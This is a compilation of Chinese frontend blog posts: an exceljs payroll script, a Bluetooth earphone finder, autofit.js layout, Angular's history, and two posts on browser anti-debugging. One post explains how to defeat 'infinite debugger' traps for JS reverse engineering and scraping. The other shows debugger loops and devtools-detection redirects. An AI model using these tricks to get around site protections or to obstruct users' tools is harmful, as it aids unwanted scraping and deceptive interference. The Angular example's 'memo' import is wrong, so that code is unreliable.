用node帮老婆做excel工资表
我是天元,立志做1000个有趣的项目的前端。如果你喜欢的话,请点赞,收藏,转发。评论领取
零花钱+100
勋章
背景
我老婆从事HR的工作,公司有很多连锁店,她需要将所有的门店的工资汇总计算,然后再拆分给各门店请确认,最后再提供给财务发工资。
随着门店数量渐渐增多,渐渐的我老婆已经不堪重负,每天加班都做不完,严重影响夫妻感情生活。
最终花费了2天的时间,完成了整个node程序,她只需要传入工资表,相应的各种表格在10s内自动输出。目前已正式交付,得到了每月零花钱提高100元的重大成果
。
整体需求
- 表格的导入和识别
- 表格的计算(计算公式要代入),表格样式正确
- 最终结果按照门店拆分为工资表
需求示例(删减版)
需求为,根据传入的基本工资及补发补扣,生成总工资表,门店工资表,财务工资表发放表。
工资表中字段为门店,姓名,基本工资,补发补扣,最终工资(基本工资+补发补扣)。最后一行为总计
门店工资表按照每个门店,单独一个表格,字段同工资表。最后一行为总计
工资表
基础工资
补发补扣
技术选型
这次的主力库为exceljs
,官方文档介绍如下
读取,操作并写入电子表格数据和样式到 XLSX 和 JSON 文件。
一个 Excel 电子表格文件逆向工程项目
选择exceljs是因为它支持完整的excel的样式及公式。
安装及目录结构
优先安装exceljs
npm init
yarn add exceljs
创建input,out,src三个文件夹,src放入index.js
package.json增加start脚本
"scripts": {
"start": "node src/index.js"
},
代码相关
导入
通过new Excel.Workbook();
创建一个工作簿,通过workbook.xlsx.readFile
来导入文件, 注意这是个promise
const ExcelJS = require("exceljs");
const path = require("path");
const inputPath = path.resolve(__dirname, "../input");
const outputPath = path.resolve(__dirname, "../out");
const loadInput =async () => {
const workbook = new ExcelJS.Workbook();
const inputFile = await workbook.xlsx.readFile(inputPath + "/工资表.xlsx")
};
loadInput()
数据拆分
通过getWorksheet
Api,我们可以获取到对应的工作表的内容
const loadInput =async () => {
...
// 基本工资
const baseSalarySheet = inputFile.getWorksheet("基本工资");
// 补发补扣
const supplementSheet = inputFile.getWorksheet("补发补扣");
}
然后我们需要进一步的来进行拆分,因为第一行为每个工作表的头,这部分在我们实际数据处理中不会使用,所以通过getRows
来获取实际的内容。
const baseSalaryContent = baseSalarySheet.getRows(
2,
baseSalarySheet.rowCount
);
baseSalaryContent.map((row) => {
console.log(row.values);
});
/**
[ <1 empty item>, '2024-02', '海贼王', '路飞', 12000 ]
[ <1 empty item>, '2024-02', '海贼王', '山治', 8000 ]
[ <1 empty item>, '2024-02', '火影忍者', '鸣人', '6000' ]
[ <1 empty item>, '2024-02', '火影忍者', '佐助', 7000 ]
[ <1 empty item>, '2024-02', '火影忍者', '雏田', 5000 ]
[ <1 empty item>, '2024-02', '一拳超人', '琦玉', 4000 ]
[]
[]
**/
可以看到实际的内容已经拿到了,我们要根据这些内容拼装一下最终便于后续的调用。
我们可以通过 row.getCell
Api获取到对应某一列的内容,例如门店是在B
列,那么我们就可以使用row.getCell('B')
来获取。
因为我们需要拆分门店,所以这里的基本工资,我们以门店为单位,把数据进行拆分
const baseSalary = {};
baseSalaryContent.forEach((row) => {
const shopName = row.getCell("B").value;
if (!shopName) return; // 过滤空行
const name = row.getCell("C").value;
const salary = row.getCell("D").value;
if (!baseSalary[shopName]) {
baseSalary[shopName] = [];
}
baseSalary[shopName].push({
name,
salary,
});
});
这样我们得到了一个以门店名称为key的对象,value为该门店的员工信息数组。利用相同方法,获取补发补扣。因为每个人已经确定了门店,所以后续只需要根据姓名来做key,拆分成一个object即可
// 补发补扣
const supplement = {};
supplementSheet.getRows(2, supplementSheet.rowCount).forEach((row) => {
const name = row.getCell("C").value;
const type = row.getCell("H").value;
let count = row.getCell("D").value;
// 如果为补扣,则金额为负数
if (type === "补扣") {
count = -count;
}
if (!supplement[name]) {
supplement[name] = 0;
}
supplement[name] += count;
});
数据组合
门店工资表
因为每个门店需要独立一张表,所以需要遍历baseSalary
Object.keys(baseSalary).forEach((shopName) => {
const workbook = new ExcelJS.Workbook();
const worksheet = workbook.addWorksheet("工资表");
// 添加表头
worksheet.addRow([
"序号",
"门店",
"姓名",
"基本工资",
"补发补扣",
"最终工资",
]);
baseSalary[shopName].forEach((employee, index) => {
worksheet.addRow([
index + 1,
shopName,
employee.name,
+employee.salary,
supplement[employee.name] || 0,
+employee.salary + (supplement[employee.name] || 0),
]);
});
});
此时你也可以快进到表格输出
来查看输出的结果,以便随时调整
这样我们就把基本工资已经写入工作表了,但是这里存在问题,最终工资使用的是一个数值,而没有公式。所以我们需要改动下
worksheet.addRow([ index + 1, shopName, employee.name, employee.salary, supplement[employee.name] || 0,
{
formula: `D${index + 2}+E${index + 2}`,
result: employee.salary + (supplement[employee.name] || 0),
},
]);
这里的formula
将对应到公式,而result
是显示的值,这个值是必须写入的,如果你写入了错误的值,会在表格中显示该值,但是双击后,公式重新计算,会替换为新的值。所以这里必须计算正确
合计
依照上方的逻辑,继续添加一行作为合计,但是之前计算的时候,需要添加一个临时变量,记录下合计的相关内容。
const count = [0, 0, 0];
baseSalary[shopName].forEach((employee, index) => {
count[0] += +employee.salary;
count[1] += supplement[employee.name] || 0;
count[2] += +employee.salary + (supplement[employee.name] || 0);
worksheet.addRow([
index + 1,
shopName,
employee.name,
+employee.salary,
supplement[employee.name] || 0,
{
formula: `D${index + 2}+E${index + 2}`,
result: +employee.salary + (supplement[employee.name] || 0),
},
]);
});
然后在尾部添加一行
worksheet.addRow([ "合计", "", "", { formula: `SUM(D2:D${baseSalary[shopName].length + 1})`,
result: count[0],
},
{
formula: `SUM(E2:E${baseSalary[shopName].length + 1})`,
result: count[1],
},
{
formula: `SUM(F2:F${baseSalary[shopName].length + 1})`,
result: count[2],
},
]);
美化
表格的合并,可以使用mergeCells
worksheet.mergeCells(
`A${baseSalary[shopName].length + 2}:C${baseSalary[shopName].length + 2}`
);
这样就合并了我们的最后一行的前三列,接下来我们要给表格添加线条。
对于批量的添加,可以直接使用addConditionalFormatting
,它将在一个符合条件的单元格范围内添加规则
worksheet.addConditionalFormatting({
ref: `A1:F${baseSalary[shopName].length + 2}`,
rules: [
{
type: "expression",
formulae: ["true"],
style: {
border: {
top: { style: "thin" },
left: { style: "thin" },
bottom: { style: "thin" },
right: { style: "thin" },
},
alignment: { vertical: "top", horizontal: "left", wrapText: true },
},
},
],
});
表格输出
现在门店工资表已经拆分完成,我们可以直接保存了,使用xlsx.writeFile
Api来保存文件
Object.keys(baseSalary).forEach((shopName) => {
...
workbook.xlsx.writeFile(outputPath + `/${shopName}工资表.xlsx`);
})
最终效果
相关代码地址
来源:juejin.cn/post/7346421986607087635
蓝牙耳机丢了,我花几分钟写了一个小程序,找到了!
你是否曾经经历过蓝牙耳机不知道丢到哪里去的困扰?特别是忙碌的早晨,准备出门时才发现耳机不见了,整个心情都被影响。幸运的是,随着技术的进步,我们可以利用一些简单的小程序和蓝牙技术轻松找到丢失的耳机。今天,我要分享的是我如何通过一个自制的小程序,利用蓝牙发现功能,成功定位自己的耳机。这不仅是一次有趣的技术尝试,更是对日常生活中类似问题的一个智能化解决方案。
1. 蓝牙耳机丢失的困扰
现代生活中,蓝牙耳机几乎是每个人的必备品。然而,耳机的体积小、颜色常常与周围环境融为一体,导致丢失的情况时有发生。传统的寻找方式依赖于我们对耳机放置地点的记忆,但往往不尽人意。这时候,如果耳机还保持在开机状态,我们就可以借助蓝牙技术进行定位。然而,市场上大部分设备并没有自带这类功能,而我们完全可以通过编写小程序实现。
2. 蓝牙发现功能的原理
蓝牙发现功能是通过设备之间的信号传输进行连接和识别的。当一个蓝牙设备处于开机状态时,它会周期性地广播自己的信号,周围的蓝牙设备可以接收到这些信号并进行配对。这个过程的背后其实是信号的强度和距离的关系。当我们在手机或其他设备上扫描时,能够检测到耳机的存在,但并不能直接告诉我们耳机的具体位置。此时,我们可以通过信号强弱来推测耳机的大概位置。
3. 实现步骤:从构想到实践
有了这个想法后,我决定动手实践。首先,我使用微信小程序作为开发平台,利用其内置的蓝牙接口实现设备扫描功能。具体步骤如下:
- • 环境搭建:选择微信小程序作为平台主要因为其开发简便且自带蓝牙接口支持。
- • 蓝牙接口调用:调用
wx.openBluetoothAdapter
初始化蓝牙模块,确保设备的蓝牙功能开启。 - • 设备扫描:通过
wx.startBluetoothDevicesDiscovery
函数启动设备扫描,并使用wx.onBluetoothDeviceFound
监听扫描结果。 - • 信号强度分析:通过读取蓝牙信号强度(RSSI),结合多次扫描的数据变化,推测设备的距离,最终帮助定位耳机。
在代码的实现过程中,信号强度的变化尤为重要。根据RSSI值的波动,我们可以判断耳机是在靠近还是远离,并通过走动测试信号的变化,逐渐缩小搜索范围。
下面是我使用 Taro 实现的全部代码:
import React, { useState, useEffect } from "react";
import Taro, { useReady } from "@tarojs/taro";
import { View, Text } from "@tarojs/components";
import { AtButton, AtIcon, AtProgress, AtList, AtListItem } from "taro-ui";
import "./index.scss";
const BluetoothEarphoneFinder = () => {
const [isSearching, setIsSearching] = useState(false);
const [devices, setDevices] = useState([]);
const [nearestDevice, setNearestDevice] = useState(null);
const [isBluetoothAvailable, setIsBluetoothAvailable] = useState(false);
const [trackedDevice, setTrackedDevice] = useState(null);
useEffect(() => {
if (isSearching) {
startSearch();
} else {
stopSearch();
}
}, [isSearching]);
useEffect(() => {
if (devices.length > 0) {
const nearest = trackedDevice
? devices.find((d) => d.deviceId === trackedDevice.deviceId)
: devices[0];
setNearestDevice(nearest || null);
} else {
setNearestDevice(null);
}
}, [devices, trackedDevice]);
const startSearch = () => {
const startDiscovery = () => {
setIsBluetoothAvailable(true);
Taro.startBluetoothDevicesDiscovery({
success: () => {
Taro.onBluetoothDeviceFound((res) => {
const newDevices = res.devices.map((device) => ({
name: device.name || "未知设备",
deviceId: device.deviceId,
rssi: device.RSSI,
}));
setDevices((prevDevices) => {
const updatedDevices = [...prevDevices];
newDevices.forEach((newDevice) => {
const index = updatedDevices.findIndex(
(d) => d.deviceId === newDevice.deviceId
);
if (index !== -1) {
updatedDevices[index] = newDevice;
} else {
updatedDevices.push(newDevice);
}
});
return updatedDevices.sort((a, b) => b.rssi - a.rssi);
});
});
},
fail: (error) => {
console.error("启动蓝牙设备搜索失败:", error);
Taro.showToast({
title: "搜索失败,请重试",
icon: "none",
});
setIsSearching(false);
},
});
};
Taro.openBluetoothAdapter({
success: startDiscovery,
fail: (error) => {
if (error.errMsg.includes("already opened")) {
startDiscovery();
} else {
console.error("初始化蓝牙适配器失败:", error);
Taro.showToast({
title: "蓝牙初始化失败,请检查蓝牙是否开启",
icon: "none",
});
setIsSearching(false);
setIsBluetoothAvailable(false);
}
},
});
};
const stopSearch = () => {
if (isBluetoothAvailable) {
Taro.stopBluetoothDevicesDiscovery({
complete: () => {
Taro.closeBluetoothAdapter({
complete: () => {
setIsBluetoothAvailable(false);
},
});
},
});
}
};
const getSignalStrength = (rssi) => {
if (rssi >= -50) return 100;
if (rssi <= -100) return 0;
return Math.round(((rssi + 100) / 50) * 100);
};
const getDirectionGuide = (rssi) => {
if (rssi >= -50) return "非常接近!你已经找到了!";
if (rssi >= -70) return "很近了,继续朝这个方向移动!";
if (rssi >= -90) return "正确方向,但还需要继续寻找。";
return "信号较弱,尝试改变方向。";
};
const handleDeviceSelect = (device) => {
setTrackedDevice(device);
Taro.showToast({
title: `正在跟踪: ${device.name}`,
icon: "success",
duration: 2000,
});
};
return (
<View className="bluetooth-finder">
{isSearching && (
<View className="loading-indicator">
<AtIcon value="loading-3" size="30" color="#6190E8" />
<Text className="loading-text">搜索中...Text>
View>
)}
{nearestDevice && (
<View className="nearest-device">
<Text className="device-name">{nearestDevice.name}Text>
<AtProgress
percent={getSignalStrength(nearestDevice.rssi)}
status="progress"
isHidePercent
/>
<Text className="direction-guide">
{getDirectionGuide(nearestDevice.rssi)}
Text>
View>
)}
<View className="device-list">
<AtList>
{devices.map((device) => (
<AtListItem
key={device.deviceId}
title={device.name}
note={`${device.rssi} dBm`}
extraText={
trackedDevice && trackedDevice.deviceId === device.deviceId
? "跟踪中"
: ""
}
arrow="right"
onClick={() => handleDeviceSelect(device)}
/>
))}
AtList>
View>
<View className="action-button">
<AtButton
type="primary"
circle
onClick={() => setIsSearching(!isSearching)}
>
{isSearching ? "停止搜索" : "开始搜索"}
AtButton>
View>
View>
);
};
export default BluetoothEarphoneFinder;
嘿嘿,功夫不负苦心人,我最终通过自己的小程序找到了我的蓝牙耳机。
我将我的小程序发布到了微信小程序上,目前已经通过审核,可以直接使用了。搜索老码宝箱 即可体验。
顺带还加了非常多的小工具,而且里面还有非常多日常可能会用到的工具,有些还非常有意思。
比如
绘制函数图
每日一言
汇率转换(实时)
BMI 计算
简易钢琴
算一卦
这还不是最重要的
最重要的是,这里的工具是会不断增加的,而且,更牛皮的是,你还可以给作者提需求,增加你想要的小工具,作者是非常欢迎一起讨论的。有朝一日,你也希望你的工具也出现在这个小程序上,被千万人使用吧。
4. 实际应用与优化空间
这个小程序的实际效果超出了我的预期。我能够通过它快速找到丢失的耳机,整个过程不到几分钟时间。然而,值得注意的是,由于蓝牙信号会受到环境干扰,例如墙体、金属物等,导致信号强度并不总是精确。在后续的优化中,我计划加入更多的信号处理算法,例如利用三角定位技术,结合多个信号源来提高定位精度。此外,还可以考虑在小程序中加入可视化的信号强度图,帮助用户更直观地了解耳机的大致方位。
一些思考:
蓝牙耳机定位这个小程序的开发,展示了技术在日常生活中的强大应用潜力。虽然这个项目看似简单,但背后的原理和实现过程非常具有教育意义。通过这次尝试,我们可以看到,借助开源技术和简单的编程能力,我们能够解决许多日常生活中的实际问题。
参考资料:
- 微信小程序官方文档:developers.weixin.qq.com
- 蓝牙信号强度(RSSI)与距离关系的研究:http://www.bluetooth.com
- 个人开发者经验分享: 利用蓝牙发现功能定位设备
来源:juejin.cn/post/7423610485180727332
前端可玩性UP项目:大屏布局和封装
前言
autofit.js 发布马上要一年了,也收获了一批力挺用户,截至目前它在github上有1k 的 star,npm 上有超过 13k 的下载量。
这篇文章主要讲从设计稿到落地开发大屏应用,大道至简,这篇文章能帮助各位潇洒自如的开发大屏。
分析设计稿
分析设计稿之前先吐槽一下大屏这种展现形式,这简直就是自欺欺人、面子工程的最直接的诠释,是吊用没有,只为了好看,如果设计的再不好看啊,这就纯纯是屎。在我的理解中,这就像把PPT放到了web端,仅此而已。
但是王哥告诉我:"你看似没有用的东西,其实都有用,很多想真正做出有用的产品的企业,没钱,就要先把面子工程做好,告诉别人他们要做一件什么事,这样投资人才会看到,后面才有机会发展。"
布局方案
上图展示了一个传统意义上且比较普遍的大屏形态,分为四个部分,分别是
头部
头部经常放标题、功能菜单、时间、天气
左右面板
左右面板承载了各种数字和报表,还有视频、轮播图等等
中间
中间部分一般放地图,这其中又分假地图(一张图片)、图表地图(如echarts)、地图引擎(如:leaflet、mapbox、高德、百度)。或者有的还会放3D场景,一般有专门的同事去做3D场景,然后导入到web端。
大屏的设计通常的分辨率是 1920*1080 的,这也是迄今为止应用最广泛的显示器配置,当然也有基于客户屏幕做的异形分辨率,这就五花八门了。
但是万变不离其宗,分辨率的变化不会影响它的基本结构,根据上面的图,我们可以快速构建结构代码
<div class='Box'>
<div class="header"></div>
<div class="body">
<div class="leftPanel"></div>
<div class="mainMap"></div>
<div class="rightPanel"></div>
</div>
</div>
上面的代码实现了最简单的上下(Box)+左右(body)的布局结构,完全不需要任何定位策略。
要实现上图的效果,只需最简单的CSS即可完成布局。
组件方案
大屏虽然是屎,但是是一种可玩性很强的项目,想的越复杂,做起来就越复杂,想的越简单,做起来就越简单。
可以疯狂封装炫技,因为大屏里面的可玩组件简直太多了,且涵盖的太全了,想怎么玩都可以,包括但不限于 各类图表库的封装(echarts、highCharts、vChart)、轮播图(swiper)、地图引擎、视频库(包括直播流)等等。
如果想简单,甚至可以不用封装,可以看到结构甚至简单到不用CSS几行就可以搭建出基本框架,只把header、leaftPanel、rightPanel、map封装一下就可以了。
这里还有一个误区,就是大家都喜欢把 大型的组件库 拉到大屏里来用,结果做完了发现好像只用了一个 toast 和一个下拉组件,项目打包后却增大了几十倍的体积,其实像这种简单的组件,完全可以手写,或者找小的独立包来用,一方面会减小体积,不至于让项目臃肿,另一方面可以锻炼自己的手写能力,这才是有必要的封装。
适配
目前主流的适配方案,依然是 rem 方案,其原理就是根据根元素的 font-size 自动计算大小,但是此方法需要手动计算 rem 值,或者使用第三方插件如postcss等,但是此方案还有一个弊端,就是无法向下兼容,因为浏览器中最小的文字大小是12px。
vh/vw方案就不再赘述了,原理基本和 rem/em 相似,都涉及到单位的转换。
autofit.js
主要讲一下使用 autofit.js 如何快速实现适配。
不支持的场景
首先 autofit.js 不支持 elementUI(plus)、ant-design等组件库,具体是不支持包含popper.js的组件,popper.js 在计算弹出层位置时,不会考虑 scale 后的元素的视觉大小,所以会造成弹出元素的位置偏移。
其次,不支持 百度地图,百度地图对窗口缩放事件没有任何处理,有同学反馈说,即使使用了resize属性,百度地图在和autofit.js共同使用时,也会有事件热区偏移的问题。而且百度地图使用 bd-09 坐标系,和其他图商不通用,引擎的性能方面也差点意思,个人不推荐在开发中使用百度地图。
然后一些拖拽库,如甘特图插件,可能也不支持,他们在计算鼠标位置时同样没有考虑 scale 后的元素的视觉大小。
用什么单位
不支持的单位:vh、vw、rem、em
让我诧异的是,老有人问我该用什么单位,主要徘徊在 px 和 % 之间,加群的同学多数是因为用了相对单位,导致留白了。不过人各有所长,跟着各位大佬我也学到了很多。
看下图
假如有两个宽度为1000的元素,他们内部都有一个子元素,第一个用百分比设置为 width:50%;left:1%
, 第二个设置为 wdith:500px;left:10px
。此时,只要外部的1000px的容器宽度不变,这两个内部元素在视觉上是一模一样的,且在实际数值上也是一模一样的,他们宽度都为500px,距离左侧10px。
但是如果外部容器变大了,来看一下效果:
在样式不变的情况下,仅改变外部容器大小,差异就出来了,由上图可知,50%的元素依然占父元素的一半,实际宽度变成了 1000px,距离左侧的实际距离变成了 20px。
这当然不难理解,百分比单位是根据 最近的、有确定大小的父级元素计算的。
所以,应该用什么单位其实取决于想做什么,举个例子:在1920*1080
基础上开发,中间的地图写成了宽度为 500px ,这在正常情况下,看起来没有任何问题,它大概占屏幕的 26%,当屏幕分辨率达到4096*2160
时,它在屏幕上只占 12%,看起来就是缩在一角。而当你设置宽度为26%时,无论显示器如何变化,它始终占屏幕26%。
autofit.js 所干的事,就是把1000px 变成了 2000px或者把2000px变成了1000px,并给它设置了一个合适的缩放大小。
图表、图片拉伸
背景或各种图片按需设置 object-fit: cover;
即可
图表如echarts一般推荐使用百分比,且监听窗口变化事件做resize()
结语
再次感慨,大道至简,事情往往没有那么复杂,祝各位前程似锦。
来源:juejin.cn/post/7344625554530779176
2025年了,令人唏嘘的Angular,现在怎么样了🚀🚀🚀
迅速崛起和快速退出
时间回到2014年,此时的 Angular 1.x
习得了多种武林秘籍,左手降龙十八掌、右手六脉神剑,哦不,左手双向数据绑定
、右手依赖注入
、上能模块化开发
、下有模板引擎
和 前端路由
, 背后还有Google
这个风头无两的带头大哥做技术背书,可以说集万千功能和宠爱于一身,妥妥的主角光环。
而此时的江湖,B端
开发正尝到了 SPA
的甜头,积极的从传统的 MVC
开发模式转变为更为方便快捷的单页面应用开发模式,
文章同步在公众号:萌萌哒草头将军,欢迎关注!
一拍即合,强大的一站式单页面开发框架Angular
自然而然,就成了公认的武林盟主,江湖一哥。
但是好景不长,2016年9月14日 Angular 2.x
的发布,彻底断送了武林盟主的宝座,
Vue
:大哥,你可是真给机会呀!
2.0
使用ts
彻底重写(最早支持ts
的框架)、放弃了脏检查更新机制,引入了响应式系统、使用现代浏览器标准、加入装饰器语法,和 1.0
完全不兼容。可以从上图看到,此时大家基本上还不太接受ts
!
新手面对陡然升高的学习曲线叫苦连连,已经入坑的开发者因为巨大的迁移工作而怨声载道。
此时,默默耕耘了两年的小弟,Vue
已经拥有完备的本地化文档和丰富的可选生态,而且作为新手你只要会使用html
、css
、javascript
,就可以上手写项目了。
所以,此时的 Vue
振臂一呼:“王侯将相宁有种乎!”,立马新皇加冕!
积极改变,三拜义父的数据驱动
忆往昔峥嵘岁月稠,恰同学少年,风华正茂;书生意气,挥斥方遒。
一转眼,angular 已经发布第19
个大版本了(平均一年两个版本)。
失去武林盟主的Angular
,飘零半生,未逢明主,公若不弃,Angular
愿拜为义父,
从 脏检查机制
到 响应式系统
,再到Signals系统
, Angular
历经沧桑的数据驱动方式可以说是前端发展的缩影。
脏检查机制
脏检查机制
是通过拦截异步操作,http
setTimeout
用户交互事件等,触发变更检测系统,从根组件开始检查组件中数据是否有更新,有更新时,对应的 $scope
变量会被标记为 脏
,然后同步的更新dom
的内容,重新开始变更检查,直到稳定后标记为干净,即通过稳定性检查!
<!DOCTYPE html>
<html lang="en" ng-app="myApp">
<head>
<meta charset="UTF-8">
<title>AngularJS Counter</title>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>
</head>
<body ng-controller="CounterController as ctrl">
<h1>Count: {{ ctrl.count }}</h1>
<h2>Double Count: {{ ctrl.doubleCount() }}</h2>
<button ng-click="ctrl.increment()">+1</button>
<script>
angular.module('myApp', [])
.controller('CounterController', function() {
var vm = this;
vm.count = 0;
vm.increment = function() {
vm.count++;
console.log('Latest count:', vm.count);
};
vm.doubleCount = function() {
return vm.count * 2;
};
});
</script>
</body>
</html>
但是这种检查机制存在缺陷,例如,当数据量十分庞大时,就会触发非常多次的脏检查机制
。
响应式系统
响应式系统
没有出现之前,脏检查机制
是唯一的选择,但是响应式系统
凭借快速轻便的特点,立马在江湖上引起了不小的轰动,Angular
也放弃了笨重的脏检查机制采用了响应式系统
!
// app.component.ts
import { Component } from '@angular/core';
@Component({
selector: 'app-root',
template: `
<h1>Count: {{ count }}</h1>
<h2>Double Count: {{ doubleCount() }}</h2>
<button (click)="increment()">+1</button>
`,
})
export class AppComponent {
count: number = 0;
increment() {
this.count++;
console.log('Latest count:', this.count);
}
doubleCount() {
return this.count * 2;
}
}
和我们熟知的Vue
的响应式不同,Angular
的响应式采用双向数据流的设计,这也使得它在面对复杂项目时,性能和维护上不如Vue
快捷方便。
所以,为了更好的驾驭双向数据流
的响应式系统,Angular
也是自创了很多绝学,例如:局部变更检测。
该绝学主要招式:组件级变更检测策略
、引入zonejs
、OnPush
策略等。
1. 组件级变更检测策略
每个组件都有自己的更新策略,只有组件的属性和文本发生变化时,才会触发变更检测!
2. 引入zonejs
引入zonejs
拦截http
setTimeout
用户交互事件等异步操作
3. OnPush
策略
默认情况下,整个组件树在变更时更新。
但是开发者可以选择 OnPush
策略,使得组件仅在输入属性发生变化、事件触发或手动调用时才进行变更检测。这进一步大大减少了变更检测的频率,适用于数据变化不频繁的场景。
Signals系统
很快啊,当SolidJS
凭借优异的信号系统在江湖上闯出了响亮的名声,这时,大家才意识到,原来还有更优秀的开发方式!signal
系统的开发方式,也被公认为新一代的武林绝技!
于是,Angular 16
它来了,它带着signal
、memo
、effect
三件套走来了!
当使用signal
时,更新仅仅发生在当前组件。
// app.component.ts
import { Component, signal, effect, memo } from '@angular/core';
@Component({
selector: 'app-root',
template: `
<h1>Count: {{ count() }}</h1>
<h2>Double Count: {{ doubleCount() }}</h2>
<button (click)="increment()">+1</button>
`,
styles: []
})
export class AppComponent {
// 使用 signal 来管理状态
count = signal(0);
// 使用 memo 来计算 doubleCount
doubleCount = memo(() => this.count() * 2);
constructor() {
// 使用 effect 来监听 count 的变化
effect(() => {
console.log('Latest count:', this.count());
});
}
increment() {
// 更新 signal 的值
this.count.set(this.count() + 1);
}
}
总结
Angular
虽然在国内市场一蹶不振,但是在国际市场一直默默耕耘 10
年。它作为一站式解决方案的框架,虽然牺牲了灵活性,但是也为开发者提供了沉浸式开发的选择!
且它不断创新、积极拥抱新技术的精神令人十分钦佩!
今天的内容就这些了,如果你觉得还不错,可以关注我。
如果文章中存在问题,欢迎指正!
来源:juejin.cn/post/7468526097011097654
⚔️不让我在控制台上调试,哼,休想🛠️
在 JavaScript 中,使用 debugger
关键字可以在代码执行到该位置时触发断点调试。这可以帮助开发人员进行代码调试和排错。然而,有些网站开发者可能会故意使用 debugger
关键字来阻止调试,从而增加代码的安全性。但仍然有一些方法可以绕过这种防护措施,进行调试和排错。
禁用浏览器debugger
因为 debugger 其实就是对应的一个断点,它相当于用代码显示地声明了一个断点,要解除它,我们只需要禁用这个断点就好了。
禁用全局断点
全局禁用开关位于 Sources
面板的右上角,如下图所示:
点击它,该按钮会被激活,变成蓝色。
这个时候我们再重新点击一下 Resume script execution(恢复脚本执行)按钮,跳过当前断点,页面就不会再进入到无限 debugger 的状态了。
请注意
,禁用所有断点可能会导致你错过一些潜在的问题或错误
,因为代码将会连续执行而不会在可能的问题点停止。因此,在禁用所有断点之前,请确保你已经理解了代码的行为,并且明白在出现问题时该如何调试。
禁用局部断点
尝试使用另一种方法来跳过这个无限 debugger。在 debugger 语句所在的行的行号上单击鼠标右键,此时会出现一个快捷菜单,操作下图所示:
添加条件断点
在JS代码 debugger 行数位置的最左侧点击右键,添加条件断点(满足条件才会进入断点),将条件设置为false,就是条件永远不成立,永远不会断下来。
添加条件断点还可以监视获取一些变量信息,还是挺好用的。
如果是简单的debugger断点,直接用上边的方式就可以,如果是通过定时器触发的debugger断点,就需要进行Hook处理了。
以上的方案执行完毕之后有时候会跳转空页面,这时候只需要在空页面上打开原先地址即可。
先打开控制台
有时候我们一打开网页,就直接进入空页面,控制台上的js和html文件也随之为空,这时候需要在空白页面,或者F12等键无法打开控制台等,这种可以先打开控制台,然后再在空白页面上打开网站即可。
可以在这个网站上试一下。
替换文件
直接使用浏览器开发者工具替换修改js(Sources面板 --> Overrides),或者通过FD工具替换。
这种方式的核心思路,是替换 JS 文件中的 debugger 关键字,并保存为本地文件,在请求返回的时候、通过正则匹配等方式、拦截并替换返回的 JS 代码,以达到绕过 debugger 的目的。也可以直接删掉相关的debugger代码。
具体实现可参考:2024最新版JavaScript逆向爬虫教程-------基础篇之无限debugger的原理与绕过
快捷方案-使用油猴等插件
使用这种方法,就不需要再打 script
断点。直接安装插件即可。
参考文献
2024最新版JavaScript逆向爬虫教程-------基础篇之无限debugger的原理与绕过
来源:juejin.cn/post/7369505226921738278
🔏别想调试我的前端页面代码🔒
这里我们不介绍禁止右键菜单, 禁止F12快捷键
和代码混淆
方案。
无限debugger
- 前端页面防止调试的方法主要是通过不断 debugger 来疯狂输出断点,因为 debugger 在控制台被打开的时候就会执行
- 由于程序被 debugger 阻止,所以无法进行断点调试,所以网页的请求也是看不到的.
基础方案
(() => {
function ban() {
setInterval(() => { debugger; }, 50);
}
try {
ban();
} catch (err) { }
})();
- 将
setInterval
中的代码写在一行,可以禁止用户断点,即使添加logpoint
为false
也无用 - 当然即使有些人想到用左下角的格式化代码,将其变成多行也是没用的
浏览器宽高
根据浏览器宽高、与打开F12后的宽高进行比对,有差值,说明打开了调试,则替换html内容;
- 通过检测窗口的外部高度和宽度与内部高度和宽度的差值,如果差值大于 200,就将页面内容设置为 "检测到非法调试"。
- 通过使用间隔为 50 毫秒的定时器,在每次间隔内执行一个函数,该函数通过创建一个包含
debugger
语句的函数,并立即调用该函数的方式来试图阻止调试器的正常使用。
(() => {
function block() {
if (window.outerHeight - window.innerHeight > 200 || window.outerWidth - window.innerWidth > 200) {
document.body.innerHTML = "检测到非法调试";
}
setInterval(() => {
(function () {
return false;
}
['constructor']('debugger')
['call']());
}, 50);
}
try {
block();
} catch (err) { }
})();
关闭断点,调整空页面
在不打开发者工具的情况下,debugger是不会执行将页面卡住,而恰恰是利用debugger的这一点,如果你打开开发者工具一定会被debugger卡住,那么上下文时间间隔就会增加,在对时间间隔进行判断,就能巧妙的知道绝对开了开发者工具,随后直接跳转到空白页,一气呵成。(文心一言采用方案)
setInterval(function () {
var startTime = performance.now();
// 设置断点
debugger;
var endTime = performance.now();
// 设置一个阈值,例如100毫秒
if (endTime - startTime > 100) {
window.location.href = 'about:blank';
}
}, 100);
第三方插件
disable-devtool
disable-devtool
可以禁用所有一切可以进入开发者工具的方法,防止通过开发者工具进行的代码搬运。
该库有以下特性:
- 支持可配置是否禁用右键菜单
- 禁用 f12 和 ctrl+shift+i 等快捷键
- 支持识别从浏览器菜单栏打开开发者工具并关闭当前页面
- 开发者可以绕过禁用 (url参数使用tk配合md5加密)
- 多种监测模式,支持几乎所有浏览器(IE,360,qq浏览器,FireFox,Chrome,Edge...)
- 高度可配置、使用极简、体积小巧
- 支持npm引用和script标签引用(属性配置)
- 识别真移动端与浏览器开发者工具设置插件伪造的移动端,为移动端节省性能
- 支持识别开发者工具关闭事件
- 支持可配置是否禁用选择、复制、剪切、粘贴功能
- 支持识别 eruda 和 vconsole 调试工具
- 支持挂起和恢复探测器工作
- 支持配置ignore属性,用以自定义控制是否启用探测器
- 支持配置iframe中所有父页面的开发者工具禁用
🦂使用🦂
<script disable-devtool-auto src='https://cdn.jsdelivr.net/npm/disable-devtool'>script>
更多使用方法参见官网:disable-devtool
disable-devtool
console-ban
禁止 F12 / 审查开启控制台,保护站点资源、减少爬虫和攻击的轻量方案,支持重定向、重写、自定义多种策略。
使用
<head>
<script src="https://cdn.jsdelivr.net/npm/console-ban@5.0.0/dist/console-ban.min.js">script>
<script>
// default options
ConsoleBan.init()
// custom options
ConsoleBan.init({
redirect: '/404'
})
script>
head>
在项目中使用:
yarn add console-ban
import { init } from 'console-ban'
init(options)
重定向
ConsoleBan.init({
// 重定向至 /404 相对地址
redirect: '/404',
// 重定向至绝对地址
redirect: 'http://domain.com/path'
})
使用重定向策略可以将用户指引到友好的相关信息地址(如网站介绍),亦或是纯静态 404 页面,高防的边缘计算或验证码等页面。
